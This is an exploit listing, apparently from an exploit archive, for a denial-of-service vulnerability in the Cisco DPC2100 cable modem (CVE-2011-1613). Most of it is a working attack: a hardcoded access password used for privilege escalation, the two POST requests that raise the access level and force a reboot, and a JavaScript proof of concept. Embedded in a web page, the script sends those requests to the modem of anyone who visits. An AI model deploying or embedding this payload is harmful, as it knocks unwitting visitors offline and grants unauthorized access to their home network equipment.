what you don't know can hurt you

Cisco DPC2100 Denial Of Service

Cisco DPC2100 Denial Of Service
Posted Sep 26, 2012
Authored by Daniel Smith

Cisco DPC2100 suffers from a denial of service vulnerability.

tags | exploit, denial of service
systems | cisco
advisories | CVE-2011-1613
MD5 | 06de31ce712a4e89dd817b6b83b03b95

Cisco DPC2100 Denial Of Service

Change Mirror Download
# Exploit Title: Cisco DPC2100 Denial of Service
# Date: 09/01/2010
# Author: Daniel Smith
# Software Link: http://www.cisco.com/
# Version: HW:2.1/SW:v2.0.2r1256-060303
# Tested on: OSX 10.6/Win7
# CVE: CVE-2011-1613

=======================================================
Information
=======================================================
Executing this script on page load will cause the users modem to restart when
they visit the page. This example uses javascript but can just as easily written
to in another language to accomplish something similar. Attack consists of
two parts.

Part 1 - Privilege Escalation:
POST: http://192.168.100.1/goform/_aslvl
PARAMS: SAAccessLevel=2&SAPassword=W2402

Part 2 - Modem Restart:
POST: http://192.168.100.1/goform/gscan
PARAMS: SADownStartingFrequency=705000000

=======================================================
Proof of Concept (Javascript)
=======================================================
(function() {
var b=document.getElementsByTagName('body')[0];
var otherlib=false;

if(typeof jQuery!='undefined') {
console.log('This page already using jQuery v'+jQuery.fn.jquery);
} else if (typeof $=='function') {
otherlib=true;
}
function getScript(url,success){
var script=document.createElement('script');
script.src=url;
var head=document.getElementsByTagName('head')[0],
done=false;
// Attach handlers for all browsers
script.onload=script.onreadystatechange = function(){
if ( !done && (!this.readyState
|| this.readyState == 'loaded'
|| this.readyState == 'complete') ) {
done=true;
success();
script.onload = script.onreadystatechange = null;
head.removeChild(script);
}
};
head.appendChild(script);
}
getScript('http://code.jquery.com/jquery-latest.min.js',function() {
if (typeof jQuery=='undefined') {
console.log('Sorry, but jQuery wasn\'t able to load');
} else {
console.log('This page is now jQuerified with v' + jQuery.fn.jquery);
$.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } );
console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.');
$.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } );
console.log('Reboot command sent.');
}
});
})();

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